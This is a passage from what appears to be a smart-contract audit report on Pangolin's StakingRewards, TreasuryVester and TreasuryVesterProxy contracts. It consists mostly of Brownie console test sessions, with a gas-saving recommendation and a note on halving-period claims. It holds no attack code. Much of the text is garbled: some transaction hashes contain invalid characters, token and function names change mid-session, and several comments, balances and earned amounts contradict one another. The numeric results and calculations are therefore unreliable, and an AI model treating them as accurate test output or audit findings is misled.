Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
StakingRewards.notifyRewardAmount confirmed Block: 13390395 Gas used: 33501 (0.50%)
<Transaction '0xeeebdc77a65d079d784c232d8288467bc6cb4096ac8f0675e0a044d152bf27c42'>
>>> stakingRewards.rewardRate()
11574074074074074
>>> vestAmount/86400
11574074074074074
>>> stakingRewards.getRewardForDuration()
6999999999999999
>>> 11574074074074074 * 86400
6999999999999999
>>> (vestAmount/86400) * 86400
6931
```

This has been flagged in the vulnerability - **IMPRECISION IN REWARD DISTRIBUTION** as a low impact as the imprecision is very low compared to the total reward amount.

## TEST 1: CALLING GETREWARD FUNCTION MULTIPLE TIMES

In this test, we tried to call `getReward` multiple times and see if the total amount of PNG reward tokens received were the same than if we just had waited for the reward period (86400 seconds/1 day) to be completed and called the `getReward` function once:

```
>>> vestAmount = 1000000000000000000 # 1000 * e18
>>> png.transfer(stakingRewards.address, vestAmount)
Transaction sent: 0x4b1d71ba4537ddc1931a5b93aa49d24b8503fe53ed84265910fe9778ac302
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
Png.transfer confirmed Block: 13390829 Gas used: 55734 (0.83%)

<Transaction '0x4b1d71ba4537ddc1931a5b93aa49d24b8503fe53ed84265910fe9778ac302'>
>>> output.redd("png.balanceOf(stakingRewards.address) -> " + str(png.balanceOf(stakingRewards.address)))
png.balanceOf(stakingRewards.address) -> 1000000000000000000
>>> stakingRewards.notifyRewardAmount(vestAmount)
Transaction sent: 0x84733b9704aa07a573d4dcfbaed24b7b48d0ea0b1aad20c417b79a9f5677b8f0
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
StakingRewards.notifyRewardAmount confirmed Block: 13390830 Gas used: 33501 (0.50%)

<Transaction '0x84733b9704aa07a573d4dcfbaed24b7b48d0ea0b1aad20c417b79a9f5677b8f0'>
>>> chain.sleep(10000)
>>> chain.mine(1)
13390831
>>> output.redd("#stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
stakingRewards.earned(user1) -> 115891203703703702500
>>> stakingRewards.getReward({'from': user1})
Transaction sent: 0x015d375c12c299c73fbad2b231078f4b153067b5870394a0c656b28b2454355e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
StakingRewards.getReward confirmed Block: 13390832 Gas used: 85960 (1.28%)

<Transaction '0x015d375c12c299c73fbad2b231078f4b153067b5870394a0c656b28b2454355e'>
>>> output.redd("png.balanceOf(user1.address) -> " + str(png.balanceOf(user1.address)))
png.balanceOf(user1.address) -> 116585648148148147400
>>> output.redd("#stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
stakingRewards.earned(user1) -> 0
>>> chain.sleep(10000)
>>> chain.mine(1)
13390833
>>> output.redd("#stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
stakingRewards.earned(user1) -> 116053240740740739500
>>> stakingRewards.getReward({'from': user1})
Transaction sent: 0xd6bfe453f429b206b644d80f9011db27bbb3e39e3d42cd76bb1eb2505e05aa3b
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 3
StakingRewards.getReward confirmed Block: 13390834 Gas used: 70960 (1.06%)

<Transaction '0xd6bfe453f429b206b644d80f9011db27bbb3e39e3d42cd76bb1eb2505e05aa3b'>
>>> output.redd("png.balanceOf(user1.address) -> " + str(png.balanceOf(user1.address)))
png.balanceOf(user1.address) -> 233136574074074072500
>>> output.redd("#stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
stakingRewards.earned(user1) -> 0
>>> chain.sleep(30000)
>>> chain.mine(1)
13390835
>>> output.redd("#stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
stakingRewards.earned(user1) -> 7688342525252521000
>>> stakingRewards.getReward({'from': user1})
Transaction sent: 0x30dfe921b2c2e7b63e95b3b4654842af912be8ca1829573c5522244d74efd98
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 4
StakingRewards.getReward confirmed Block: 13390836 Gas used: 70999 (1.06%)

<Transaction '0x30dfe921b2c2e7b63e95b3b4654842af912be8ca1829573c5522244d74efd98'>
>>> output.redd("png.balanceOf(user1.address) -> " + str(png.balanceOf(user1.address)))
png.balanceOf(user1.address) -> 999999999999993500
```



## TEST 2: REWARDS WITH MULTIPLE ACCOUNTS

We performed this test to check if the rewards were being assigned correctly to multiple stakers. In this case staker1 had staked 10000000000000000000 tokens and staker2 20000000000000000000, which means that staker2 should be receiving x2 the amount of PNG reward tokens than staker1:

```
>>> stakeAmount = 1000000000000000000 # 100 x e18
allowAmount = 1000000000000000000 # 100 x e18
vestAmount = 1000000000000000000 # 1000 x e18
actualAmount = 999999999999999999
>>> lpToken.transfer(user1.address, allowAmount)
Transaction sent: 0xc4c400207541adb2938fec6b220126f9bc7a6d6ac1d4428d4750e9d9f55349d3
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 11
Png.transfer confirmed Block: 13390964 Gas used: 55734 (0.83%)

<Transaction '0xc4c400207541adb2938fec6b220126f9bc7a6d6ac1d4428d4750e9d9f55349d3'>
>>> lpToken.transfer(user2.address, allowAmount * 2)
Transaction sent: 0xc816efcab6eb5a92fe611538a6f4232dd7b3e08e3ef092c1af9587ba0ceac07
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
Png.transfer confirmed Block: 13390965 Gas used: 55734 (0.83%)

<Transaction '0xc816efcab6eb5a92fe611538a6f4232dd7b3e08e3ef092c1af9587ba0ceac07'>
>>> lpToken.approve(stakingRewards.address, allowAmount, {'from': user1})
Transaction sent: 0x46d18b4e249a3a220d9631909fcb389c1e4f6e1a7301f5d2518e11ad1
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Png.approve confirmed Block: 13390966 Gas used: 45598 (0.68%)

<Transaction '0x46d18b4e249a3a220d9631909fcb389c1e4f6e1a7301f5d2518e11ad1'>
>>> lpToken.approve(stakingRewards.address, allowAmount * 2, {'from': user2})
Transaction sent: 0x30aaf77180330a933b115a7c86da7923fd4a0005df1f79f70b1c67e8d28f86e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Png.approve confirmed Block: 13390967 Gas used: 45598 (0.68%)

<Transaction '0x30aaf77180330a933b115a7c86da7923fd4a0005df1f79f70b1c67e8d28f86e'>
>>> stakingRewards.stake(stakeAmount, {'from': user1})
Transaction sent: 0xd330e9a3954f0cccb4741a030f60c7c87759f8e01fb6913343397bb0626ade18
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
StakingRewards.stake confirmed Block: 13390968 Gas used: 96328 (1.43%)

<Transaction '0xd330e9a3954f0cccb4741a030f60c7c87759f8e01fb6913343397bb0626ade18'>
>>> stakingRewards.stake(stakeAmount * 2, {'from': user2})
Transaction sent: 0x16627746a079e6eb654d279a69b238c3b839514d5f74e2effcf3ab4d06ddbe54
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
StakingRewards.stake confirmed Block: 13390969 Gas used: 96383 (0.87%)

<Transaction '0x16627746a079e6eb654d279a69b238c3b839514d5f74e2effcf3ab4d06ddbe54'>
>>> png.transfer(stakingRewards.address, vestAmount)
Transaction sent: 0x674e29e829e407933939c7e25516e979c90c315a0ba1751f38472001a8ecb2312
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
Png.transfer confirmed Block: 13390970 Gas used: 55734 (0.83%)

<Transaction '0x674e29e829e407933939c7e25516e979c90c315a0ba1751f38472001a8ecb2312'>
>>> stakingRewards.notifyRewardAmount(vestAmount)
Transaction sent: 0x16826a829e407933939c7e25516e979c90c315a0ba1751f38472001a8ecb2312
>>> chain.sleep(timeToFinishPeriod) - chain.time()
>>> chain.mine(1)
13390972
>>> output.redd("#stakingRewards.earned(owner) -> " + str(stakingRewards.earned(owner)))
output.redd("#stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
output.redd("#stakingRewards.earned(user2) -> " + str(stakingRewards.earned(user2)))
stakingRewards.earned(owner) -> 0
stakingRewards.earned(user1) -> 333333333333331200
stakingRewards.earned(user2) -> 666666666666662400
>>> stakingRewards.getReward({'from': user1})
Transaction sent: 0x28f867f96270fc9f290b9da81963b79abb9736745ddcca658be57206b82b91
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
StakingRewards.getReward confirmed Block: 13390973 Gas used: 85999 (1.28%)

<Transaction '0x28f867f96270fc9f290b9da81963b79abb9736745ddcca658be57206b82b91'>
>>> stakingRewards.getReward({'from': user2})
Transaction sent: 0x1fac5b061a6672d468c3de6870bb9f3692d63f4a907b19bc47c3felb21460a7
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
StakingRewards.getReward confirmed Block: 13390974 Gas used: 77509 (1.15%)

<Transaction '0x1fac5b061a6672d468c3de6870bb9f3692d63f4a907b19bc47c3felb21460a7'>
>>> output.redd("#png.balanceOf(stakingRewards.address) -> " + str(png.balanceOf(stakingRewards.address)))
output.redd("#png.balanceOf(user1.address) -> " + str(png.balanceOf(user1.address)))
output.redd("#png.balanceOf(user2.address) -> " + str(png.balanceOf(user2.address)))
png.balanceOf(stakingRewards.address) -> 6400
png.balanceOf(user1.address) -> 333333333333331200
png.balanceOf(user2.address) -> 666666666666662400
```

We can see the tokens are assigned correctly, although we can see how 6400 tokens remained in the contract because of the imprecision mentioned previously.

### TEST 3: REWARDS WITH MULTIPLE ACCOUNTS 2

```
>>> stakeAmount = 10000000000000000 # 100 x e18
>>> allowAmount = 10000000000000000 # 100 x e18
>>> vestAmount = 100000000000000000 # 100 x e18
>>> lpToken.transfer(user1.address, allowAmount)
Transaction sent: 0x22bd16fce2c0a0623091bac0c85cb5ef46e60d6f63557bb3c586fald49a2a3
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 11
Png.transfer confirmed Block: 13391203 Gas used: 55734 (0.83%)
<Transaction '0x22bd16fce2c0a0623091bac0c85cb5ef46e60d6f63557bb3c586fald49a2a3'>
>>> lpToken.transfer(user2.address, allowAmount * 2)
Transaction sent: 0x9f277c25fc48906b45128923982d1814ab56b2f987b2595217e16e0177de1370
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
Png.transfer confirmed Block: 13391204 Gas used: 55734 (0.83%)
<Transaction '0x9f277c25fc48906b45128923982d1814ab56b2f987b2595217e16e0177de1370'>
>>> lpToken.approve(stakingRewards.address, allowAmount, {'from': user1})
Transaction sent: 0x7b9ecaa5fffe1952a0e3529dd7546a97d3c8f895d9eddc1043a42b65dcf8bd45
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Png.approve confirmed Block: 13391205 Gas used: 45598 (0.68%)
<Transaction '0x7b9ecaa5fffe1952a0e3529dd7546a97d3c8f895d9eddc1043a42b65dcf8bd45'>
>>> lpToken.approve(stakingRewards.address, allowAmount * 2, {'from': user2})
Transaction sent: 0x7f9793eb21a1756ae0b3752f232029c30264f8e60167d328817c0eb44fc3c12
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Png.approve confirmed Block: 13391206 Gas used: 45598 (0.68%)
<Transaction '0x7f9793eb21a1756ae0b3752f232029c30264f8e60167d328817c0eb44fc3c12'>
>>> stakingRewards.stake(stakeAmount, {'from': user1})
Transaction sent: 0x5489a6e52cde7b7b6005e200d3baba45470cc29ea07b889752bd3c1cabf9cf
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
StakingRewards.stake confirmed Block: 13391207 Gas used: 96328 (1.43%)
<Transaction '0x5489a6e52cde7b7b6005e200d3baba45470cc29ea07b889752bd3c1cabf9cf'>
>>> png.transfer(stakingRewards.address, vestAmount)
Transaction sent: 0x85b7963a7355438345d410cc2de07509f0e0e15e8926840521fc00539119d5
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
Png.transfer confirmed Block: 13391209 Gas used: 55734 (0.83%)
<Transaction '0x85b7963a7355438345d410cc2de07509f0e0e15e8926840521fc00539119d5'>
>>> stakingRewards.notifyRewardAmount(vestAmount)
Transaction sent: 0xa2f2251ec9e1a443f17d39b2df020476e4aa7fc180804c359e09284133711b48
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
StakingRewards.notifyRewardAmount confirmed Block: 13391210 Gas used: 33501 (0.50%)
<Transaction '0xa2f2251ec9e1a443f17d39b2df020476e4aa7fc180804c359e09284133711b48'>
>>> chain.sleep(10000)
>>> chain.mine(1)
13391211
>>> output.redd("stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
output.redd("stakingRewards.earned(user2) -> " + str(stakingRewards.earned(user2)))
output.redd("png.balanceOf(user1.address) -> " + str(png.balanceOf(user1.address)))
output.redd("png.balanceOf(user2.address) -> " + str(png.balanceOf(user2.address)))
stakingRewards.earned(user1) -> 38599537037037036700
stakingRewards.earned(user2) -> 77199074074074073400
png.balanceOf(user1.address) -> 0
png.balanceOf(user2.address) -> 0
>>> stakingRewards.getReward({'from': user1})
Transaction sent: 0xcce635f7348b49cc128acdb817b22709e2be9db657e7e0ca984e0e1a0644815
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
StakingRewards.getReward confirmed Block: 13391212 Gas used: 85960 (1.28%)
<Transaction '0xcce635f7348b49cc128acdb817b22709e2be9db657e7e0ca984e0e1a0644815'>
>>> output.redd("stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
output.redd("stakingRewards.earned(user2) -> " + str(stakingRewards.earned(user2)))
output.redd("png.balanceOf(user1.address) -> " + str(png.balanceOf(user1.address)))
output.redd("png.balanceOf(user2.address) -> " + str(png.balanceOf(user2.address)))
stakingRewards.earned(user1) -> 0
stakingRewards.earned(user2) -> 77314914814814812000
png.balanceOf(user1.address) -> 38657407407407100
png.balanceOf(user2.address) -> 0
>>> chain.sleep(10000)
>>> chain.mine(1)
13391213
>>> stakingRewards.getReward({'from': user1})
Transaction sent: 0x6813489d007d841bca9e1d26222d87c04ef93eab609ae9d07cc5170d477af1
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 3
StakingRewards.getReward confirmed Block: 13391214 Gas used: 70960 (1.06%)
<Transaction '0x6813489d007d841bca9e1d26222d87c04ef93eab609ae9d07cc5170d477af1'>
>>> output.redd("stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
output.redd("stakingRewards.earned(user2) -> " + str(stakingRewards.earned(user2)))
output.redd("png.balanceOf(user1.address) -> " + str(png.balanceOf(user1.address)))
output.redd("png.balanceOf(user2.address) -> " + str(png.balanceOf(user2.address)))
stakingRewards.earned(user1) -> 0
stakingRewards.earned(user2) -> 154668209876543208000
png.balanceOf(user1.address) -> 77334104938271604300
>>> timeToFinishPeriod = stakingRewards.periodFinish() - chain.time()
>>> chain.sleep(timeToFinishPeriod)
>>> chain.mine(1)
13391215
>>> stakingRewards.getReward({'from': user1})
Transaction sent: 0x4b19f97fd847446782f1039044d735e5cfaae5cce4c2d5735a037111bfae08e3
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 4
StakingRewards.getReward confirmed Block: 13391216 Gas used: 70999 (1.06%)
<Transaction '0x4b19f97fd847446782f1039044d735e5cfaae5cce4c2d5735a037111bfae08e3'>
>>> stakingRewards.getReward({'from': user2})
Transaction sent: 0xa23b1fe30610136530b76964e4c278d83578f19e8538f39540d9b99d37ecce2d
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
StakingRewards.getReward confirmed Block: 13391217 Gas used: 77609 (1.15%)
<Transaction '0xa23b1fe30610136530b76964e4c278d83578f19e8538f39540d9b99d37ecce2d'>
>>> output.redd("stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
output.redd("stakingRewards.earned(user2) -> " + str(stakingRewards.earned(user2)))
output.redd("png.balanceOf(user1.address) -> " + str(png.balanceOf(user1.address)))
output.redd("png.balanceOf(user2.address) -> " + str(png.balanceOf(user2.address)))
stakingRewards.earned(user1) -> 0
stakingRewards.earned(user2) -> 0
png.balanceOf(user1.address) -> 33333333333333331000
png.balanceOf(user2.address) -> 6666666666666662000
```

In this case we replicated the previous test but, the staker1 calling

`getReward` function multiple times and `staker2` calling it once the reward period was completed. As we can see in the image above the output was the same.

### TEST 4: SETREWARDSDURATION

In this test, we tried a common scenario that may happen which is calling `setRewardsDuration` once `periodFinish` is over and before a user has called the `getReward` function:

```
>>> stakeAmount = 1000000000000000000
>>> allowAmount = 1000000000000000000
>>> vestAmount = 1000000000000000000
>>> lpToken.transfer(user1.address, allowAmount)
Transaction sent: 0x8cc10691ae2f6e08a2720586defde6cb88e264377ee4cacf301f40a5e279293
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 11
Eng.transfer confirmed Block: 13395929 Gas used: 55734 (0.83%)

<Transaction '0x8cc10691ae2f6e08a2720586defde6cb88e264377ee4cacf301f40a5e279293'>
>>> lpToken.approve(stakingRewards.address, allowAmount, {'from': user1})
Transaction sent: 0x521d1936511bb047aef965adf8bda4e326e81d283e64c09fd33a452ec52790
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Eng.approve confirmed Block: 13395930 Gas used: 45598 (0.68%)

<Transaction '0x521d1936511bb047aef965adf8bda4e326e81d283e64c09fd33a452ec52790'>
>>> stakingRewards.stake(stakeAmount, {'from': user1})
Transaction sent: 0xf172ec716bf8e0978ab0f34becf1a705ade040795966ee17d5c59db54c466355
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
StakingRewards.stake confirmed Block: 13395931 Gas used: 96328 (1.43%)

<Transaction '0xf172ec716bf8e0978ab0f34becf1a705ade040795966ee17d5c59db54c466355'>
>>> ppg.transfer(stakingRewards.address, vestAmount)
Transaction sent: 0x2b89f9e496447d59757be6a5ad9e142dcfca8c09c9f55f9db2bf7f39c625cc
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
Eng.transfer confirmed Block: 13395932 Gas used: 55734 (0.83%)

<Transaction '0x2b89f9e496447d59757be6a5ad9e142dcfca8c09c9f55f9db2bf7f39c625cc'>
>>> stakingRewards.notifyRewardAmount(vestAmount)
Transaction sent: 0x49f7bce0cfed2e5716f25b4647f2de95d991695fe75083d2347b9c23blc0812
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
StakingRewards.notifyRewardAmount confirmed Block: 13395933 Gas used: 33501 (0.50%)

<Transaction '0x49f7bce0cfed2e5716f25b4647f2de95d991695fe75083d2347b9c23blc0812'>
>>> timeToFinishPeriod = stakingRewards.periodFinish() - chain.time()
chain.sleep(timeToFinishPeriod)
chain.mine(1)
chain.time()
>>> output.redd("stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
stakingRewards.earned(user1) -> 9999999999999999999
>>> stakingRewards.setRewardAmount(stakeAmount) # 0.83%
Transaction sent: 0x258d5abd748bb0a437ae1521fc064be21d2d7d1432c84016de85176dae3f4ad6
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
StakingRewards.setRewardsDuration confirmed Block: 13395935 Gas used: 29330 (0.44%)

<Transaction '0x258d5abd748bb0a437ae1521fc064be21d2d7d1432c84016de85176dae3f4ad6'>
>>> chain.sleep(10000)
>>> chain.mine(1)
13395936
>>> output.redd("stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
stakingRewards.earned(user1) -> 9999999999999999999999999
>>> stakingRewards.notifyRewardAmount(vestAmount)
Transaction sent: 0xc1624d2490fcd1b514379b16f5be5a29c9ad5009ef4dda35f39429a5095d18f6e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
StakingRewards.notifyRewardAmount confirmed Block: 13395937 Gas used: 59391 (0.88%)

<Transaction '0xc1624d2490fcd1b514379b16f5be5a29c9ad5009ef4dda35f39429a5095d18f6e'>
>>> chain.sleep(10000)
>>> chain.mine(1)
13395938
>>> output.redd("stakingRewards.earned(user1) -> " + str(stakingRewards.earned(user1)))
stakingRewards.earned(user1) -> 101188333333333322800
```

The initial reward of the users remain stored and then, once the owner of the contract calls `notifyRewardAmount`, the new rewards are added on top of the unclaimed ones, as expected.

### GAS RECOMMENDATION

As `updateReward(address account)` modifier is present in 5 different functions we suggest to make it an internal function. The reason is that using the modifier that code will be inserted for each function it is included in. If it is used 5 times, as in this case, the same code

will be written 5 times into the deploy code. On the other hand, as an internal function the code will only be added once into the deploy code.

In the picture below we can appreciate the gas reduction in  $1556941 - 1487370 = 69571$  GWEI:

```
>>> stakingRewards = owner.deploy(StakingRewards, png.address, lpToken.address)
Transaction sent: 0x27860175d2dcad18d8fa2700b70bbb81a5e92a9e9ff3a044aa009b2085aaee0b
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 10
StakingRewards.constructor confirmed Block: 13384654 Gas used: 1556941 (23.16%)
StakingRewards deployed at: 0x2beF5Ed020d5BdEE178B07d1AD8D48D545c4EC53

>>> stakingRewardsInternal = owner.deploy(StakingRewardsInternal, png.address, lpToken.address)
Transaction sent: 0xcfaa59466125ce72e1946e913935e8c23380aee450e01182a9bdaa7cc6741ece
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 11
StakingRewardsInternal.constructor confirmed Block: 13384655 Gas used: 1487370 (22.13%)
StakingRewardsInternal deployed at: 0xA8e96F5e2989819F1EC17b4b3Cd1Bb1dcC597851

>>> ETHPrice_09_October_2021 = 3608.36
>>> TxSavedGasCost = 69571
>>> AverageGasPrice_09_October_2021 = 126.37
>>> GasFee = 69571 * 126.37
>>> GasFee
8791687.27
>>> TotalCostSaved = 0.008791687270000001 * 3608.36
>>> TotalCostSaved
31.723572677577206
```

## 4.12 TIMELOCK CONTRACT

The `Timelock` contract is the standard `Compound Finance Timelock` contract.

## 4.13 TREASURYVESTER CONTRACT

The `TreasuryVester` contract is used to manage the release of PNG tokens. The contract contains the following functions:

- `function startVesting()external onlyOwner`: Used to enable the distribution of PNG tokens.
- `function setRecipient(address recipient_)external onlyOwner`: Used to set the recipient of those tokens.
- `function claim()external nonReentrant returns (uint)`: Used to claim the PNG tokens.

Our manual testing focused here in checking that the PNG token amounts being distributed in the different halving periods were correct. This is the Brownie script code we used:

Listing 42

```

1 png.transfer(treasuryVester.address, 5120000000000000000000000000)
2
3 treasuryVester.setRecipient(user1.address)
4 treasuryVester.startVesting()
5
6 i = 0
7 while (i < 1460):
8     i = i + 1
9     chain.sleep(86400)
10    chain.mine(1)
11    treasuryVester.claim({'from': user1})

```

And as we can see below this is the balance of user1 after the first halving period:

```

gas price: 0.0 gwei gas limit: 6721975 nonce: 1457
TreasuryVester.claim confirmed Block: 13399201 Gas used: 66797 (0.99%)

Transaction sent: 0x77ca93f5d94ea30e90b170f790bc2edd37f52b3ea80d2fcc32b2b4409010f6
gas price: 0.0 gwei gas limit: 6721975 nonce: 1458
TreasuryVester.claim confirmed Block: 13399203 Gas used: 66797 (0.99%)

Transaction sent: 0x20ac5c920a09abbe972b5bc0ffbf97e5aff4ed41446016dd4da7b273816c1431
gas price: 0.0 gwei gas limit: 6721975 nonce: 1459
TreasuryVester.claim confirmed Block: 13399205 Gas used: 51797 (0.77%)

>>> output.redd("png.balanceOf(user1.address) after 4 years -> " + str(png.balanceOf(user1.address)))
png.balanceOf(user1.address) after 4 years -> 2558999989000000000000000000

```

The balance is 256M PNG tokens as expected. Then, after entering a new

halving period, we can see how the tokens received after 1 day were decreased from ~175K to ~87K:

```
>>> output.redd("png.balanceOf(user1.address) after 4 years -> " + str(png.balanceOf(user1.address)))
png.balanceOf(user1.address) after 4 years -> 255999989000000000000000000
>>> chain.sleep(86400)
>>> chain.mine(1)
13399207
>>> treasuryVester.claim({'from': user1})
Transaction sent: 0xcb622292c3cf9f04d243d88a52235626f0277c46736411dc531e3e9b9e073530
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1460
TreasuryVester.claim confirmed Block: 13399207 Gas used: 72455 (1.08%)

<Transaction '0xcb622292c3cf9f04d243d88a52235626f0277c46736411dc531e3e9b9e073530'>
>>> output.redd("png.balanceOf(user1.address) after 4 years and 1 day -> " + str(png.balanceOf(user1.address)))
png.balanceOf(user1.address) after 4 years and 1 day -> 256087670132500000000000000
>>> 256087670132500000000000000 - 255999989000000000000000000
256113250000000000000000
```

It is worth mentioning that in order for the halving period to be finished, `claim` function should be called 1460 times as the variable `nextSlash` is only decreased when calling this function. This means that, in the case that a user calls `claim` after 4 years, he will only receive ~175K tokens, instead of the 256M PNG tokens corresponding to the 4 years. And he will have to call every 24h that `claim` function for the next 1459 days to get to receive the 256M PNG tokens and step into the next halving period. The gas costs of calling this function 1460 times in the Ethereum main net is \$48k:

```
>>> treasuryVester.claim({'from': user1})
Transaction sent: 0xcb622292c3cf9f04d243d88a52235626f0277c46736411dc531e3e9b9e073530
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1460
TreasuryVester.claim confirmed Block: 13399207 Gas used: 72455 (1.08%)
```

```
>>> ETHPrice_09_October_2021 = 3608.36
>>> claimGasCost4years = 72455 * 1460
>>> claimGasCost4years
105784300
>>> AverageGasPrice_09_October_2021 = 126.37
>>> GasFee = 105784300 * 126.37
>>> GasFee
13367961991.0
>>> GasFeeETH = 13367961991.0 * 0.000000001
>>> GasFeeETH
13.367961991000001
>>> GasFeeETH * ETHPrice_09_October_2021
48236.419329844764
```

References:

[Pangolin - Platform and PNG token litepaper](#)

## 4.14 TREASURYVESTERPROXY CONTRACT

The `TreasuryVesterProxy` contract contains the following 2 functions:

- function `init()` external onlyOwner:
- function `claimAndDistribute()` external:

We can see below how calling the `init` function correctly initializes `pngVested` and `pngVestingTreasuryCutoff` variables:

```
>>> TreasuryVesterProxy = owner.deploy(TreasuryVesterProxy, png.address, TreasuryVester.address, user2.address, chef.address)
Transaction sent: 0x21055d674e243fd3ae76419cd91a9038947d8d690094806a1215667e33be4e70
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 10
TreasuryVesterProxy.constructor confirmed Block: 13397622 Gas used: 969206 (14.42%)
TreasuryVesterProxy deployed at: 0x6a4197ad2c3ebd94ca90ba1e3e2f2525baf70e2

>>> chef.addFunder(TreasuryVesterProxy.address)
Transaction sent: 0xec818a6c11160414e95b0dbc31d19d7f7fbf305e5ea2ed6f1d7ee1e55d919b40f
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 11
MiniChefV2.addFunder confirmed Block: 13397623 Gas used: 44774 (0.67%)

<Transaction '0xec818a6c11160414e95b0dbc31d19d7f7fbf305e5ea2ed6f1d7ee1e55d919b40f'>
>>> SUSHIERC.mint(chef.address, 5120000000000000000000000000000000)
Transaction sent: 0x26ab238966101e2200a0a1fa94b067da39954d556c84c4bd7dd0f79e59a5097
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
SUSHI.mint confirmed Block: 13397624 Gas used: 66679 (0.99%)

<Transaction '0x26ab238966101e2200a0a1fa94b067da39954d556c84c4bd7dd0f79e59a5097'>
>>> png.transfer(TreasuryVesterProxy.address, 5120000000000000000000000000000000)
Transaction sent: 0x18be7db00245ff0a2aca79bec8a5a2f1f444308e9be3d533c76e38a5f62669f8
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
Png.transfer confirmed Block: 13397625 Gas used: 55746 (0.83%)

<Transaction '0x18be7db00245ff0a2aca79bec8a5a2f1f444308e9be3d533c76e38a5f62669f8'>
>>> TreasuryVester.setRecipient(TreasuryVesterProxy.address)
Transaction sent: 0x27d9e9e43097acd7b0367c29f7499fc46efec577bcb9be30e24f087f16103fa
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
TreasuryVester.setRecipient confirmed Block: 13397626 Gas used: 44561 (0.66%)

<Transaction '0x27d9e9e43097acd7b0367c29f7499fc46efec577bcb9be30e24f087f16103fa'>
>>> TreasuryVester.startVesting()
Transaction sent: 0xf7948f48278b1b17b838bee91e28c2483a8bed9ced6fd86bfff637e27e47a0
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
TreasuryVester.startVesting confirmed Block: 13397627 Gas used: 50132 (0.75%)

<Transaction '0xf7948f48278b1b17b838bee91e28c2483a8bed9ced6fd86bfff637e27e47a0'>
>>> output.redd("TreasuryVesterProxy.pngVested() -> " + str(TreasuryVesterProxy.pngVested()))
output.redd("TreasuryVesterProxy.pngVestingTreasuryCutoff() -> " + str(TreasuryVesterProxy.pngVestingTreasuryCutoff()))
print()
TreasuryVesterProxy.init()
output.redd("TreasuryVesterProxy.pngVested() -> " + str(TreasuryVesterProxy.pngVested()))
output.redd("TreasuryVesterProxy.pngVestingTreasuryCutoff() -> " + str(TreasuryVesterProxy.pngVestingTreasuryCutoff()))
TreasuryVesterProxy.pngVested() -> 0
TreasuryVesterProxy.pngVestingTreasuryCutoff() -> 0

Transaction sent: 0xb09e7fc4b4d52de159fba0251d0ea919a82e16e0bb6494e188e546d4c37
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 16
TreasuryVesterProxy.init confirmed Block: 13397628 Gas used: 77512 (1.15%)

TreasuryVesterProxy.pngVested() -> 0
TreasuryVesterProxy.pngVestingTreasuryCutoff() -> 3000000000000000000000000000000000
```

On the other hand, we can see that calling `claimAndDistribute` function twice in less than a day will always revert as expected:

```
Transaction sent: 0xf22834644340446bc17b4b4746cb00b47c534db004130e8dac93083ce47fc2
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
TreasuryVesterProxy.claimAndDistribute confirmed Block: 13399339 Gas used: 304236 (4.53%)

>>> tx = TreasuryVesterProxy.claimAndDistribute()
Transaction sent: 0x3a96432af1b049d71128477cead02b313ad9e65ac6b42ae5cacbe2b7f8c8
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
TreasuryVesterProxy.claimAndDistribute confirmed (TreasuryVester::claim: not time yet) Block: 13399340 Gas used: 33906 (0.50%)
```



Also, it is worth mentioning that in the code is indicated that diversion is increased every 30 days and the diversion rate every 300 days:

```

66     function claimAndDistribute() external {
